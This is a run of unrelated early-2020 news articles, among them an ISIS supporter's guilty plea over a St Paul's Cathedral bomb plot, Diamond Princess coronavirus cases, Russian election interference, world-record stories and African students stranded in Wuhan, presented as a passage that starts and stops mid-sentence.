from happening, and we will continue to do so. The most important thing now is for the regime to comply with the cease-fire, Akar said Thursday night. He said Turkey has continued its relations with all parties in a "transparent and principled" way. Referring to a possible Idlib operation by Turkey, Akar said Turkish President Recep Tayyip Erdogan "gave orders and set targets" on the issue. "We have done the necessary planning. We have our A, B and C plans to put into action when necessary. On Turkeys expectations regarding Idlib, Akar said: The most important issues are ensuring a stable cease-fire and stopping the migration, thus relieving the public." He noted that there is a humanitarian crisis in Idlib along with the military issues, adding the regime has been continuing its "ruthless attacks" even on hospitals. "Our expectations are clear. Our stance has not changed, he said. Signaling that their talks with Russia are ongoing, Akar said: The regime accuses people living in Idlib of being terrorists. The regime murders everyone who opposes it through airstrikes, ground attacks and barrel bombs. This is a massacre. Turkey has stood with innocent people throughout its history, and this will not change. We will maintain our presence there and expect all parties to comply with the Sochi agreement. Wind turbines. Their sleek, massive blades slicing into a bright blue sky. The sight of a wind farm, to this day, can give Meghan Castellano, 27, goose bumps. The pull of the energy field was strong for the 2014 Clarkson University graduate in engineering, with an emphasis on mechanical engineering, and management. However, if you had told her early in her academic career that she would land a job at the New York Independent Service Operator in Rensselaer, not far from Valatie where she went to Ichabod Crane High School, she might have looked at you in disbelief. "I was interested in turbine design and thought I'd design the blades," she said recently on a lunchtime break from NYISO, where she works as an installed capacity market operations engineer. NYISO manages the state's power grid and energy markets, ensuring the reliable flow of electricity throughout New York. This includes making sure it's produced in sufficient quantities and transmitted where and when it needs to go. "We don't build, we don't own and we don't physically operate any technology," Castellano says, "but you can't turn your lights on without your electricity having been purchased through us. ... I work in capacity markets, so we're forecasting out how much electricity we need in case of emergency." She learned about NYISO at a campus career fair and interned there as an undergrad. She then spent time in Texas her first year after graduation working on power system modeling at a grid operator there before returning to NYISO. That first experience after college was eye-opening. "In my previous job it was difficult for me to be recognized as a valued member of the group I was in," she said. "I was the first female and non-electrical engineer they had hired into this engineering program. I didn't have a lot of people in my court on the manager level." More Information Not a member of Women@Work? Sign up at TUWomenatwork.com - and tell a friend. See More Collapse She describes situations where she was the "the only girl" or the "youngest girl" in the room and found it difficult to speak up. She wasn't in an entirely unfamiliar environment. Her field is populated overwhelmingly by men. "I've always been one of the few," she says. "I didn't really know that I didn't have that support until maybe halfway through, then I started to notice the way I was being treated ... I don't want to say lack of respect ... but people not really listening to me." That's one of the reasons she came back to NYISO. While she still works in a very male-populated environment "I would say my building in operations is mostly men" and she has been the only female engineer in her department, the difference now is she's getting opportunities. Like any field, a lot has to do with company culture, and she feels she's in a good place. "I've been lucky to get a lot of support from my bosses," she said. "My bosses are so supportive of anything I want to do, projects, going to external events. I feel like I can talk to them about anything and what I want to work on, or they'll send me an invitation to something in their calendar. ... It's so important to feel like someone is advocating for you so you can feel more confident in what you're doing. I think if I didn't have that here I'd feel very lost." Still she's also aware that working in engineering "can be really tough for a young woman," and she knows the statistics don't paint an inviting picture for women. For instance, only 30 percent of women who earn bachelor's degrees in engineering are still in the field 20 years after graduation, and 30 percent of those who have left the field cite organizational climate as the reason. Given those realities she's been working to ensure that women have the support they need to succeed. Guided by women mentors and leaders at NYISO, she's helped to organize a women's initiative there to bring attention to the work of her female colleagues. And she's also branched out in the community by getting involved with the local chapter of the Society for Women Engineers, for which she is currently president. Coming together with other women gives them an opportunity to grow their support network, gain strength from one another and learn from each other's experiences about how to handle different situations in work and in life. So far, for Castellano the work has been rewarding and she doesn't see herself joining the ranks of women who've ditched careers in engineering. "Sometimes I think, 'was mechanical engineering the right thing to get into for the power industry,' " she said. "I think back to what do I love to do. I love working in power, making sure people can turn their lights on. I love solving problems. And I just happen to be an engineer, too." Women accounted for 13 percent of the engineering workforce in the U.S. in 2016, a figure that has not changed since 2001. Source: Economic Modeling Specialists International The federal judge in a case involving free speech at Millennium Park has temporarily barred the city of Chicago from restricting where people can evangelize and campaign in the park. Read the latest here. A Muslim convert and Islamic State supporter today admitted plotting to bomb St Paul's Cathedral and a hotel in a suicide attack. Safiyya Amira Shaikh, 36, of Hayes, West London, carried out a reconnaissance trip to scope out the landmark as a potential target while staying in an unnamed hotel. Shaikh - who is thought to be Britain's first solo female Isis bomb plotter - also prepared the words of a pledge of allegiance to the group, also known as Isis or Daesh, between August and October last year. Safiyya Amira Shaikh (pictured giving the Islamic State salute), 36, of Hayes, West London, carried out a reconnaissance trip to scope out the landmark as a potential target while staying in an unnamed hotel The British defendant was born Michelle Ramsden to a non-Muslim family and converted to Islam in 2007. She began to follow extremists online and by 2015 had become radicalised, the prosecution said. She tried to make contact with a bomb maker online and asked them to build two improvised explosive devices while plotting the attack last year. Shaikh later met with her contact, and handed them two bags, in which the IEDs were to be placed, not realising he was an undercover officer. What Safiyya Shaikh told undercover officer 'I want to kill a lot. I would like to do church... a day like Christmas or Easter good, kill more. I always send threats. But I want to make threats real. 'I would like to do this place (St Paul's) for sure. I would like bomb and shoot 'til death. I really would love to destroy that place and the kaffir (enemies of ISIS) there.' Advertisement According to BBC News, she told the officer: 'I want to kill a lot. I would like to do church... a day like Christmas or Easter good, kill more. I always send threats. But I want to make threats real.' Sending a photograph of St Paul's Cathedral to the officer, she wrote: 'I would like to do this place for sure. 'I would like bomb and shoot 'til death... I really would love to destroy that place and the kaffir (enemies of ISIS) there.' Prosecutors said she intended to leave one of the devices in the hotel and then carry the other into St Paul's, where she would detonate it. The court was previously told that Ms Shaikh 'intended to kill herself and as many other people as possible.' Shaikh (pictured wearing Islamic clothing) - who is thought to be Britain's first solo female Isis bomb plotter - also prepared the words of a pledge of allegiance to the group, also known as Isis or Daesh The British defendant was born Michelle Ramsden to a non-Muslim family and converted to Islam in 2007 Shaikh prepared the words for a pledge of allegiance to Isis while spreading terrorist publications via groups on encrypted messaging app Telegram. How Shaikh was snared by undercover officers Safiyya Amira Shaikh was snared by undercover officers last year as she planned to plant two explosive devices in central London. In encrypted chat with an undercover officer last August, she said that she would 'rather die young and get to Jannah (paradise) quickest way possible'. She also stated: 'I always knows (sic) I wanted to do something big....killing one kafir (infidel) is not enough for me.' Shaikh expressed a desire to target a church or somewhere 'historical' on a day like Christmas or Easter to 'kill more', according to the case summary. In September last year, she revealed her plan to stay in a hotel near St Paul's then check out the cathedral and 'take photos like a tourist'. On September 24 last year, she met the fake explosive expert's wife in Uxbridge to hand over her bags. Then on October 13, the female undercover officer cancelled a second meeting and police forced their way into Shaikh's flat to arrest her. Advertisement She appeared in the dock today dressed in black and admitted preparing acts of terror and disseminating terrorist publications while flanked by three prison officers. Mr Justice Sweeney said she would be remanded in custody at HMP Bronzefield until her sentence on May 11 when her defence will have served mental health reports. The judge ordered that the defence should serve any psychiatric report by April 3. Shaikh had been planning the terrorist plot for around two months before officer from Scotland Yard's counter terror unit moved in and arrested her. The facts were not opened in court, but according to a prosecution case summary, Shaikh had stated her main aim was to kill as many people as possible in a suicide attack on St Paul's. She only confided her plan to two people, the online explosives expert and his wife who she handed her bags to, unaware that they were undercover officers. In encrypted chat with an undercover officer last August, the defendant said that she would 'rather die young and get to Jannah (paradise) quickest way possible'. She also stated: 'I always knows (sic) I wanted to do something big....killing one kafir (infidel) is not enough for me.' Shaikh lived in a property in this block of flats in Hayes, West London The woman pleaded guilty to plotting to bomb St Paul's Cathedral in London (file picture) Shaikh expressed a desire to target a church or somewhere 'historical' on a day like Christmas or Easter to 'kill more', according to the case summary. Other Muslim converts turned terrorists Lewis Ludlow was jailed for at least 15 years last March for a terror plot to drive a van into shoppers outside a Disney store in London. The Muslim convert who pledged allegiance to Islamic State wanted to kill 100 people in a 'spectacular' attack. Khalid Masood was a Muslim convert who killed five people in the Westminster Bridge terror attack in March 2017. Masood, who converted while in jail, mowed down pedestrians in an SUV before stabbing PC Keith Palmer to death. Michael Adebolajo converted to Islam in 2002 while at university, and Michael Adebowale converted in around 2009. They murdered Fusilier Lee Rigby in Woolwich, South East London, in May 2013. Advertisement In September last year, she revealed her plan to stay in a hotel near St Paul's then check out the cathedral and 'take photos like a tourist'. On September 24 last year, she met the fake explosive expert's wife in Uxbridge to hand over her bags. Then on October 13, the female undercover officer cancelled a second meeting and police forced their way into Shaikh's flat to arrest her. In police interview, the defendant, who claimed benefits, admitted posting extremist material and the plot, although she said she may not have gone through with it. A former neighbour, who lived next door to Shaikh when she lived in Twickenham, told MailOnline: 'I haven't seen her in about four years since she moved out. 'She lived next door, but she was here one day and then the next day she was gone. I didn't really know much about her. 'She knocked on my door, asked to borrow a cup of sugar. I don't really like my neighbours. She was lovely though. She was really nice to me and my three kids.' The woman, who asked not to be named, said: 'I didn't know when she moved in.' When told Shaikh admitted terrorist offences, she said: 'She never gave that vibe. I feel sick. She was my next door neighbour. I don't feel safe here with my kids. 'I knew she was a Muslim - that's it really. She seemed pretty devout. I used to see her with the headscarf on all the time. I'm absolutely baffled. It's insane. 'When she lived here she used to say 'hi' to me and the kids on school runs and stuff. I'm so shocked I don't know what to say. You don't ever think that you'd live next door to a terrorist.' St Paul's Cathedral is one of London's most iconic landmarks and is visited by thousands of tourists every year. It was designed by Sir Christopher Wren after the previous cathedral on the site was burned down in the Great Fire of London. Despite being a director of the Independent, I fully support and hope for the success of any model for preserving quality journalism in an age when newspapers have become just another asset stripping target for venture capitalists (as the McClatchy bankruptcy this week illustrates). The Guardian trust model is one such critical model and once I finish reading the Independent, I often turn to the Guardian to see their take on things. This week, the newspaper ran two columns that were critical of Jeff Bezos, whom I view as a mainstay of quality journalism and constructive philanthropy. Stefan Stern, in his column, Why doesnt Jeff Bezos pay more tax instead of launching a $10bn green fund? concedes that spending $10 billion on climate change may do some good, but takes Bezos to task for allocation of Amazons tax liability among various countries to minimize tax as permitted by the array of tax treaties and corporate tax provisions. A few days later, Victor Pickards column American journalism is dying. Its survival requires public funds picked up on the bankruptcy of McClatchy and insisted that public funding should be non-negotiable. We live in a world where most progressive purposes are starved by governments and philanthropy is critic to accomplishing important public purposes. Give me Jeff Bezos over Donald Trump any day. Climate change, of course, is the most important challenge and the most important threat to the planet and to our species. Ten billion dollars is a huge amount of money. While one can argue that preventing climate change is fundamentally a public and not a private obligation, Bezos lives in a country where the President of the United States, the country that has contributed more to climate disruption than any in history, believes that climate change is a hoax. He does not believe that it is the role of the most prosperous country in the world to contribute to a solving this Herculean peril. For Trump, it is reflexively easier to deny a hard problem (I love coal) than take steps to try to solve it when the solution may hit the bottom line of his financial backers or upset his base. Climate change, moreover, is a problem which requires global solutions, presenting huge geopolitical and economic challenges. Developing countries with limited resources wonder why they should be denied the ability to burn coal or other dirty fuel sources to enable their development when developed countries created the problem in the first place. And it is notoriously difficult to avoid the free-rider problem when a challenge crosses borders and each country thinks someone else will or should pay. Meanwhile, Trump has built a business and political career in trying to stick others with the bill. In a globalized, capitalist world, huge pools of philanthropic capital have the means, the will and the intellectual infrastructure to solve problems that governments and markets have not and in all likelihood will not until it is too late. I say bravo to Jeff Bezos for taking on this challenge and I hope it motivates others. Some day, I hope, we will thank Bezos and others for finding solutions to keep our planet habitable. Of course, Jeff Bezos could volunteer to have Amazon pay taxes that governments do not require that he pay. If governments have the will to increase taxes, and to formulate a coherent, cooperative rule for international taxation, then no doubt, Amazon could and should pay more. I would expect that any contribution that Amazon or Jeff Bezos might make to the Trump fiscal piggybank to fund a wall or separate children or leverage allies for political advantage would not be as valuable as a $10 billion green fund. Bezos is also an important figure in responding to Victor Pickels call for government funding of journalism. Journalism indeed has problems as a profit-making business. Bezos bought the Washington Post, infused millions of dollars into its operations, especially its newsroom, and has revitalized it as one of the best newspapers in the world, breaking major stories on a daily basis. He does not need to turn a major profit and I doubt that he does. Journalism supported by philanthropists or by wealthy people who try to break even or do a bit better is a model that can work and does work at the Guardian, the Post and at my own newspaper, the Independent. Calling for government funding of journalism, however, is both naive and dangerous. First, neither the US nor the UK governments are going to make such investments. Not going to happen. Journalism, in the words of our President, is an enemy of the people. Trump and Secretary of State Pompeo attacked a National Public Radio journalist, as well as the whole idea of public television and radio, because an NPR journalist asked fair questions about Ukraine (and found it on a map). Boris Johnson wants to eliminate the license fee for the BBC. Trump loves Fox News (except when it questions him in the slightest) and its more ultra-right variants. If any outlet were to receive public support in a Trump administration, it would be Breitbart long before it was the Guardian. One could argue for firewalls and safeguards, but we have seen that safeguards can be ignored. Governments hate criticism and it is the core function of journalism to uncover governmental wrongdoing. Government funding of journalism is a non-starter and a bad idea . The Guardian has a model that works with support by a charitable trust so long as the trust is sufficient to maintain its support into the future. Philanthropy can also be a critical component of solutions to large problems in society, including supporting quality journalism. In an age when neo-liberalism combines with right-wing populism to threaten journalism, the environment and a host of other problems, philanthropy is an important part of the solution, not the problem. Another four Americans released from the Diamond Princess cruise ship and flown back to the United States over the weekend have tested positive for the novel coronavirus that caused an outbreak in China, according to a spokeswoman for the Department of Health and Human Services. The four cruise passengers, who had been in quarantine with other American evacuees at Travis Air Force Base in California, are now being sent to a hospital in Spokane, Washington, for treatment, officials said Thursday. Other passengers among the over 300 who were flown home on U.S.-chartered airplanes were also placed in other military bases in California and Texas, while 13 high-risk passengers were transported to a specialist hospital in Omaha, Nebraska. When it docked in Japan, the Diamond Princess was put under quarantine. But more than 600 passengers and crew have been infected with the coronavirus that has caused a large outbreak in China. The virus causes a flu-like illness and can lead to pneumonia. Centers for Disease Control spokesman Scott Pauley said test results for the hundreds of cruise ship passengers have continued to trickle in from Japan even after their return to the United States. The four patients moved to the Spokane hospital Thursday are among those with more recent test results. They would not have been separated from other passengers while on the flight back to the United States. Two patients arrived at the hospital Thursday in satisfactory condition with two more expected soon, said Christa Arguinchona, who manages a special isolation unit at Sacred Heart Medical Center. The hospital is one of 10 in the nation funded by Congress to treat new or highly infectious diseases. The risk to the community from this particular process is zero, said Bob Lutz of the Spokane Regional Health District at a briefing Thursday at the hospital. 11 Infected Among Evacuees Being Treated Nebraska Meanwhile, two of the 13 passengers being monitored at the specialist hospital in Nebraska have been cleared of the virus, according to the University of Nebraska Medical Center (UNMC). The remaining 11 who arrived in the United States on Feb. 17 have been confirmed to have the virus. According to the UNMC, 10 patients are quarantined in the facilitys National Quarantine Unit, while two others have joined a third who was earlier admitted into the adjacent Nebraska Biocontainment Unit as they were in need of additional care upon return to the United States. All patients have separate rooms to wait out their 14-day quarantine period. With reporting from The Associated Press. From The Epoch Times Zechen (Peter) Wei, a senior at Princeton International School of Mathematics and Science, earned a spot in the Guinness Book of World Records when he set a new record for the fastest quadcopter ascent to 100 meters. Wei designed a quadcopter drone that could travel 100 meters in 2.732 seconds, beating the previous record set in 2016 by German engineer Dirk Brunner by more than one second. A quadcopter is an aircraft with four motors and is often referred to as a drone. While a drone by definition is an aircraft that can fly itself, Weis design was controlled by a joystick-like remote control. Wei, 19, worked alongside his mentor, Adam Kemp, for about a year and half as part of a two-year research project to design and test the quadcopter. Its a remarkable achievement, not something that high school kids usually pull off," Kemp said. I think it seems unbelievable in some regards, but I think whats so impressive is that its Peters project. Wei said he was in English class when he received an email confirming he had broken the record. I told everyone in the class. I couldnt stop myself, he said. Weis interest in mechanical engineering began about six years ago in China when he joined his schools FIRST Tech Challenge team. I spent more time on the robots than I actually spent in the school," Wei said. "I found that I was making whatever was in my mind into a robot that could actually function. Its a pretty amazing experience. - Peter and his mentor, Adam Kemp, prepare the quadcopter. Photograph by Randy Rosca.Randy Rosca One would think the difficulty is within designing and building a drone, for Wei and Kemp the hardest part seemed to be convincing Guinness Book that Wei had in fact beat the record. The problem is how do you know it went that fast, Kemp said. So, he built an altimeter, a device used to determine altitude, with a high enough precision to prove it. We flew a commercial altimeter and the one that I built to provide data to the Guinness Book to show them that he actually did it, he said. Wei also had to record a step-by step video of him putting the aircraft together, placing it on the launchpad, and collecting the data. While Wei waits for college admissions decisions, hell be working on improving the speed of the worlds fastest quadcopter. India Duke can be reached at iduke@njadvancemedia.com. Follow her on Twitter @Inja_NJ. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters PHILIP Morris Fortune Tobacco Corporation (PMFTC) recently acquired 96 brand new units of fleet vehicles from Mitsubishi Motors Philippines Corporation (MMPC). The recent purchase comprised of 48 units of L300, 46 units of Montero Sport and two units of Pajero. The acquisition of these units is part of PMFTC fleet expansion. These units were delivered by MMPCs dealers Citimotors Inc., Makati and Diamond Motor Corp. - Quezon Avenue. According to PMFTC the units will be utilized for various business operations all over the country. When asked what made them choose Mitsubishi as their preferred brand, PMFTC representatives said Mitsubishi vehicles are reliable, have innovative features and are easy to maintain with their affordable cost of ownership. They also shared that these vehicles have an excellent record of accomplishment over the past years. Through continuous coordination and collaboration, MMPC and PMFTC remain committed to deliver the best for their customers. (PR) An Illinois man who spent the past several months training seven hours a day, including 1,500 sit-ups daily, has broken the male world record for longest time in the abdominal plank position. George Hood, 62, of Naperville, Illinois, held a plank for eight hours, 15 minutes and 15 seconds, according to Guinness World Records, which certified Hood's record. Hood -- a retired law enforcement officer who now works as a personal trainer -- set his first world record for the plank in 2011, holding it for one hour and 20 minutes. He most recently lost the title in 2016 and said his children inspired him to try to win it again. PHOTO: George Hood, 62, of Naperville, Ill., held a plank for eight hours, 15 minutes and 15 seconds on Feb. 15, 2020, in a gym outside of Chicago. (Josef Holic Photography) "I'm the father of three sons and part of me did this for them," said Hood, who beat the previous world record by 14 minutes. Hood was also inspired to compete for the plank title again to raise mental health awareness. He completed the challenge on Feb. 15 at an Illinois gym, 515 Fitness, that focuses on using exercise to help treat mental health. MORE: Try this self-care challenge: Push-ups and planks every day in February "Im not a paid athlete," he said. "I do this thing because I can and I can also help raise awareness." "Ive seen enough folks in the military and my law enforcement comrades who havent fared so well," Hood said. "We want to break that stigma of seeking [mental health] help." Hood deployed his own mental toughness to survive in a plank position for the length of a typical workday for most people. He listed to rock music to pass the time and focused on picturing himself as a rock solid tree. "I often envision myself as a tree when Im on that platform because all the energy I exude from that platform comes from earth," he said. "Like a tree I have roots and those roots go deep and when they do Im ready to weather any storm that comes across my platform. Im ready to stay in my pose without wavering." PHOTO: George Hood, 62, of Naperville, Ill., held a plank for eight hours, 15 minutes and 15 seconds in a gym outside of Chicago, Feb. 15, 2020. (Josef Holic Photography) Niki Perry, the founder of 515 Fitness, was by Hood's side for much of the eight hours and also worked with him during his training to prepare him mentally. Story continues "We focused on mental toughness and the four cs that you have to be able to get through to get through something as arduous as this: Commitment, consistency, core beliefs and evaluating challenges," she said, adding that the gym also arranged for members to speak out on their "why's" in life to provide inspiration to Hood. MORE: Mom does 5,332 burpees in 12 hours to help daughter with rare birth defect At the end of the eight hours, Hood celebrated his new world title by doing 75 push-ups. He said he thinks this plank world record title will be his last. Hood is now eyeing new challenges, like the winning the Guinness World Record for most push-ups completed in one hour, which currently stands at 2,806. PHOTO: George Hood, 62, is presented a Guinness World Record title for holding a plank for eight hours, 15 minutes and 15 seconds at 515 Fitness in Plainfield, Ill., Feb. 15, 2020. (Josef Holic Photography) His advice for other people looking to hold even just a 20-second plank or do one push-up is to just get started. "Everybody has a starting point," Hood said. "Everybody starts somewhere and then, like anything in life, you build from that." 62-year-old man breaks world record with 8-hour plank originally appeared on goodmorningamerica.com WASHINGTON Just weeks into this years election cycle, Russia already is actively interfering in the U.S. presidential campaign in hopes of reelecting President Donald Trump, and is also trying to help the candidacy of Sen. Bernie Sanders on the Democratic side, intelligence officials have concluded. The Russian efforts are aimed at undermining public confidence in the integrity of U.S. elections and stirring general chaos in American politics, intelligence experts say. Lawmakers were told in a classified briefing last week that Russia is taking steps that would help Trump, according to officials familiar with the briefing. And Sanders acknowledged Friday that he was briefed l ast month by U.S. officials about Russian efforts to boost his candidacy. The revelations demonstrate that the specter of foreign interference in the 2020 presidential election will almost certainly be a cloud over the campaign, and possibly even the final results if the contest is close. Democrats have consistently criticized Trump for not doing more to deter the Russians and others, and now they have fresh evidence to support their concerns. There were some conflicting accounts about what the briefers had revealed about Russias intentions. One intelligence official said that members were not told in the briefing that Russia was working to directly aid Trump. But advancing Sanders candidacy could be seen as beneficial to Trumps reelection prospects. That Russia would put its national intelligence apparatus in an operational mode to enhance Sanders and attack (Joe) Biden and others is only natural, said Malcolm Nance, a veteran intelligence officer who wrote a book on meddling in the 2016 presidential election. A damaged Sanders or one who would lose at a brokered convention would assure another Trump victory. Sanders condemned Russia and called on President Vladimir Putin to steer clear of U.S. politics. I dont care, frankly, who Putin wants to be president, Sanders said. My message to Putin is clear: Stay out of American elections, and as president I will make sure that you do. Trump, acknowledging nothing, took a different tack in responding to news that the House Intelligence Committee earlier this month had been briefed by U.S. intelligence experts that Russia was attempting to ensure his reelection. On Friday he sought to minimize the new warnings by his government intelligence experts and revived old grievances in claiming any problem was just Democrats trying to undermine the legitimacy of his presidency. The president started the day on Twitter, claiming that Democrats were pushing a misinformation campaign in hopes of politically damaging him. Later, making light of the intelligence findings at a campaign rally in Las Vegas, he suggested that Russia might actually prefer Sanders in the White House. Wouldnt he rather have, lets say, Bernie? Trump said. Wouldnt he rather have Bernie, who honeymooned in Moscow? A senior intelligence official with knowledge about the briefing said the handful of U.S. election security briefers did not tell Intelligence Committee members in so many words that Russia was aiding the re-election of President Trump. The official, who spoke on condition of anonymity to discuss the classified briefing, said the briefers covered election threats from Russia, China, Iran, non-state actors, hacktivists and ransomware, but that both Democrats and Republicans homed in on Russias activities. The official said some of the lawmakers reached conclusions that had not been made by the briefers. The fresh warnings about Russian interference came in what has been a tumultuous stretch for the intelligence community. A day after the Feb. 13 briefing to the House Intelligence Committee, Trump berated the acting Director of National Intelligence Joseph Maguire in a meeting at the White House. Then this week, Trump abruptly announced that Maguire would be replaced by Richard Grenell, a Trump loyalist who also will hold the job in an acting capacity. In addition to Maguire, two other senior officials will soon leave the agency. Andrew Hallman, one of Maguires top deputies, announced Friday he would leaving. He is expected to return to the CIA, where he has spent more than 30 years, according to an official familiar with the move, who spoke on condition of anonymity to discuss the personnel move. Jason Klitenic, the general counsel for the national intelligence directors office, is returning to private practice. Klitenics departure is unrelated to the sudden shakeup by Trump. Former CIA Director John Brennan told MSNBCs Morning Joe on Friday that Trumps ouster of Maguire and Hallman was a virtual decapitation of the intelligence community. Like Trump, Sanders appeared to suggest there was a political motive to the revelations about Russian interference. Nevada Democrats are to hold their nominating contest on Saturday. One day before the Nevada caucus, why do you think it came out? he said. Trump erupted when he learned last week about the briefing to House members, according to a senior administration official familiar with the matter. It was unclear whether he was aware of the specific information briefed, but he was agitated that contents of the briefing could be politically damaging to him, said the official, who spoke on condition of anonymity to dicuss sensitive matters. Trump tweeted Friday that he was considering four candidates to serve as permanent intelligence director and said he expected to make a decision within the next few weeks. He told reporters Thursday evening that Rep. Doug Collins of Georgia was among those hes considering. But Collins, who is vying for one of Georgias Senate seats, said Friday hes not interested in the job overseeing the nations 17 spy agencies. The installation of Grenell, even in a temporary role, has raised questions among critics about whether Trump is more interested in having a loyalist than someone steeped in the complicated inner workings of international intelligence. Grenell has a background that is primarily in politics and media affairs. Most recently, hes been serving as Trumps ambassador to Germany. The Democratic chairman of the House Homeland Security Committee, Bennie Thompson of Mississippi, dismissed Grenell as someone who, by all accounts, rose to prominence in the Trump administration because of his personal devotion to Donald Trump and penchant for trolling the Presidents perceived enemies on Twitter. From the start of his presidency three years ago, Trump has been dogged by insecurity over his loss of the popular vote in the general election and a persistent frustration that the legitimacy of his presidency is being challenged by Democrats and the media, aides and associates say. Hes also aggressively played down U.S. findings that Russia interfered in the 2016 election. In addition to those findings by the major intelligence agencies, a nearly two-year investigation led by special counsel Robert Mueller concluded there was a sophisticated, Kremlin-led operation to sow division in the U.S. and upend the 2016 election by using cyberattacks and social media as weapons. Russia also took steps to support Sanders in the 2016 presidential campaign, according to a criminal indictment against a Russian troll farm and Muellers lengthy report. Mueller charged 13 Russians in a covert social media campaign that prosecutors said was aimed at dividing public opinion on hot-button social issues as well propping up Sanders and Republican candidate Donald Trump while denigrating Hillary Clinton, the eventual 2016 Democratic nominee. Organizers of that Russian effort circulated an outline of themes for future social media content, with instructions to use any opportunity to criticize Hillary and the rest (except Sanders and Trumpwe support them), according to the indictment. Moscow has denied any meddling. Kremlin spokesman Dmitry Peskov said Friday that the newest allegations are paranoid reports that, unfortunately, there will be more and more of as we get closer to the elections (in the U.S.). Of course, they have nothing to do with the truth. ___ Associated Press writers Eric Tucker, Julie Pace and Michael Balsamo in Washington, Zeke Miller in Las Vegas and Daria Litvinova in Moscow contributed to this report. The fourth annual JA Mentor Circle was held on Tuesday, Feb. 11, at Horizons Conference Center in Saginaw. The Mentor Circle originated in 2017 to provide high school students a full day of mentoring experience from professionals in the industry of their choice and to gain knowledge and confidence to further their educational, personal and career goals. The JA Mentor Circle has become more popular every year with area high school students to attend because they are walking away from it with real-life knowledge, inspiration and a taste of reality from the interaction with their mentors. The event expanded this year to serve almost 200 area students. The event was free for students, thanks to generous sponsors. Long-time supporter of Junior Achievement, Garber Automotive, was the premier sponsor of the event. Means Industries was a generous lunch sponsor and Greater Michigan Construction, Delta College and various independent sponsors helped to make this day possible for area youth. We hope the community will continue to donate and sponsor this event so we can provide it free to all the students that want to come in the future," said Jen Carpenter, chief operating officer/EVP of JA of North Central Michigan. Its my favorite event of the year, because you can clearly see that it makes a difference to the students, but it inspires the mentors as well. Its a day of mutual respect and appreciation for both students and professionals. Its a win-win day for everyone! Students spent the morning participating in lessons taught by area professionals from a large variety of industries. The afternoon luncheon with guest speaker was open to community businesses and individuals. Part of the JA Mentor Circle concept is for student participants and adult professionals to join together, share a meal and be educated on a topic that is inspiring and relevant to all. This year did not disappoint. The lunch keynote speaker was Jon Lynch, president of Three Rivers Construction. Lynchs presentation was on The Formula for Success. He led a conversation on putting courage, stability and leadership into action. He shared stories that served as examples of using critical leadership skills, problem diagnosis, appreciation of diverse perspectives and action blindness. The morning breakout presentation was led by Megan Michels, owner/founder of Thrive Social. She shared crucial information about protecting your online personal brand. Students learned that an online social presence can be a good thing to boost your career, if done properly. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The event was considered a success by the survey responses received from both mentors and students. A few comments included, I loved learning about others experiences and the wisdom the mentors had to share with our young minds. I learned its good to have a grasp on your past experience so they will be recognized as a value when applying for a job. I loved hearing advice from people that know about the career I want to go into. My favorite thing today was getting to hear stories from successful mentors and how life does not always go as planned, but with hard work you can get to where you want to be. Loved hearing the mentors background and how hard they worked to get to where they were. The struggles they overcame, the things that stopped them and what helped them. And a comment received from one of our mentors, I learned that we have really sharp kids in our region. Our future is bright. For more information on Junior Achievement, visit the JA website at www.janorthcentralmi.org or contact Jen Carpenter at 989-493-2192 or Jen.Carpenter@ja.org. 'Traumatised' Africans stranded by coronavirus plead to be brought home A medical staff wears protective gear at a new section specialised in receiving any person who may have been infected with coronavirus at The Quinquinie Hospital in Douala, By Elias Biryabarema and Josiane Kouagheu MUKONO, Uganda/YAOUNDE, Cameroon (Reuters) - When Margaret Ntale Namusisi's three daughters called her in Uganda to say they were being quarantined at their university in Wuhan, China, because of the coronavirus outbreak, she sent money and told them: "Run very fast and do shopping." Valeria, Veronica and Vivian did just that. But nearly one month on, with no help from their government, they are now under lockdown in a crowded apartment with orders to stay indoors with the windows closed. Food, funds and morale are running low. "They are traumatised," said Namusisi, who wakes up at 3 a.m. every day to talk to her daughters over the Chinese messaging service WeChat. "They ask, has Uganda given up on us?" Countries across the world have flown their nationals home from China's quarantined Hubei province, the centre of the outbreak of the virus that since January has infected more than 74,000 people and killed over 2,100. But no sub-Saharan African country has done so, leaving thousands stranded. "We've gone to parliament, we've gone to the ministry of health, we've gone to the ministry of foreign affairs and taken them our petition to bring back our children," said Namusisi, nearing tears. Reuters spoke to families from Cameroon, Uganda, Senegal and Ethiopia with similar tales of frustration. Many have set up associations to pressure their governments to act, through letters and petitions. Governments across Africa have said they plan to send money to students to help with expenses. Cameroon said it was sending about $82,000 to help its citizens stuck in Hubei. However, many including Senegal and Uganda, say they do not have the resources to look after coronavirus patients at home and their nationals would be safer in China where authorities have reported a dramatic drop in new cases in Hubei. But while Uganda said last week that it would send $61,000 to students stuck in Wuhan, the Namusisi sisters have received nothing so far. Story continues They survive on one meal a day of noodles or rice, their mother said. Other foods are now too expensive: one kilo of beef costs $13, one tomato a dollar. They are not alone. Dagmawi Demelash Mengistu, a business student from Ethiopia, said his school has provided latex gloves and masks, but his government has not responded to students' calls to be flown home. He too is locked inside, short of food and money. "We have seen one plane come for four students in Wuhan to evacuate them, just one plane," said Mengistu who is part of a student association that has asked the Ethiopian embassy to fly them home. "Ethiopian airlines haven't stopped flights from China ... so that is a shot to the gut when you see they are still continuing flights but cannot take their citizens out." Ethiopian authorities did not respond to requests for comment. A LIGHTING STRIKE Many African nations are nervous about a little-known virus breaching their borders. Ebola killed over 11,000 people in West Africa between 2013 and 2016. An ongoing outbreak in Democratic Republic of Congo has killed over 2,300. Health officials say those epidemics have prepared countries to keep coronavirus from spreading and the World Health Organization says 24 African nations can test for potential cases. Airport screening and monitoring procedures have already highlighted possible coronavirus cases across the continent. The Africa Centres for Disease Control and Prevention last week called on governments to bring Africans home. But this has provided little comfort for those stranded in China or their families back home who have received little or no communication from their governments. Roger-Michel Kemkuining, a Cameroonian, found out that his student son Pavel had contracted coronavirus from a statement posted online by Yangzte University, where Pavel was studying. The statement, seen by Reuters, said the university had informed the Cameroonian embassy and the parents, but that was news to Kemkuining. Cameroon's health ministry spokesman, Clavere Nken, confirmed that the family had found out via social media. He said he had since spoken to them by phone. Yangzte University did not immediately respond to a request for comment. Pavel is the only known African to test positive for coronavirus. He has recovered and was released from hospital on Feb. 10 but remains in isolation, he told Reuters. For his father, the situation still rankles. Seeing the statement was "like a lightning strike," he told Reuters at his home in Yaounde. "I was really dejected." (Additional reporting by Anna Pujol-Mazzini in Dakar and Giulia Paravicini in Addis Ababa; Writing by Edward McAllister; Editing by Giles Elgood) A new study will assess the potential of 